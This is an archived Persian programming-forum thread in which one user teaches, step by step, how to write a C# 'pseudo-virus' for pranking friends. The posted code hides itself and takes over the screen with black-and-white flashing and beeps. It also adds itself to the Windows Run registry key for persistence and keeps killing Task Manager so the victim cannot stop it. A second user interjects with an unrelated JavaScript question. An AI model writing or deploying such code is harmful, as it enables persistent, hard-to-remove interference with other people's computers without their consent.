PDA

View Full Version : آموزش: آموزش یک شبه ویروس ساده!!!



ali.bahrami
جمعه 23 فروردین 1392, 13:15 عصر
سلام دوستان توی این تاپیک میخوام نحوه نوشتن یک شبه ویروس ساده را با سی شارپ آموزش بدم.
البته این ویروس!!! هیچ کار مخربی انجام نمیده اما برای سرکار گذاشتن دوستان برنامه جالبیه.....

برای شروع کار ابتدا یک پروژه از نوع windows application ایجاد میکنیم.
سپس در ابتدای کار دستورات زیر را به ابتدای برنامه اضافه میکنیم.
Using System.Diagnostics;
Using Microsoft.Win32;
تا اینجا را داشته باشید نیم ساعت دیگه بر میگردم و ادامه میدم.
البته ببینم چقدر استقبال میکنید.

ali.bahrami
جمعه 23 فروردین 1392, 13:42 عصر
خوب در ادامه 2 متغیر از نوع int و به صورت static تعریف میکنیم (قبل از فرم لود)

static int a = 0;
static int b = 0;
سپس توی فرم لود نیز دستورات زیر را بنویسید

this.ShowInTaskbar = false;
this.ShowIcon = false;
this.WindowState = FormWindowState.Maximized;
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
this.ContrlBox = false;

بعد سه عدد تایمر به فرم تون اضافه کنید و خاصیت Enable هر سه را True کنید.
اصل کار را داخل رویداد تیک تایمر انجام میدهیم.

دوستان میخواهید ادامه بدم !!!؟؟؟؟ (حداقل 5 تشکر ! بعد ادامه میدم)

ali.bahrami
جمعه 23 فروردین 1392, 14:31 عصر
البته در انتهای کار برنامه کامل شده را هم میزارم ....

pouya2033
جمعه 23 فروردین 1392, 17:49 عصر
سلام
آیا یاری دهنده ای هست مرا یاری کند

ali.bahrami
جمعه 23 فروردین 1392, 17:49 عصر
خوب در مرحله بعد داخل رویداد تیک تایمر اول مینویسیم :


a++;
if (a == 1)
{
this.Hide();
}
if (a == 3)
{
a = 0;
this.Show();
Console.Beep(1000, 1000);
}
try
{
RegistryKey key = Registry.LocalMachine.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
key.SetValue("TNT",Application.StartupPath+"نام برنامه");
}
catch { }


و در رویداد تیک تایمر دوم


b++;
if (b == 1) this.BackColor = Color.White;
if (b == 2)
{
b = 0;
this.BackColor = Color.Black;
}

و داخل رویداد تیک تایمر سوم هم دستورات زیر را مینویسیم :


Process[] ps = Process.GetProcesses();
foreach (Process p in ps)
{
if (p.ProcessName.ToLower() == "taskmgr")
{
p.Kill();
}
}


خوب کار تمومه ... کدها ساده هستند اگر جایی نیاز به توضیح داره بگید توضیح بدم

pouya2033
جمعه 23 فروردین 1392, 17:53 عصر
image1.Attributes.Add("onclick", "if(document.getElementById('div1').style.display == 'none'){ document.getElementById('div1').style.display = 'block'; document.getElementById('image1').src = 'collapse2.png'; } else { document.getElementById('div1').style.display = 'none'; document.getElementById('image1').src = 'collapse1.png';}");

کسی می تونه از این کد سر در بیاره چرا ارور میده لطفا

pouya2033
جمعه 23 فروردین 1392, 18:01 عصر
لطفا کمک کنید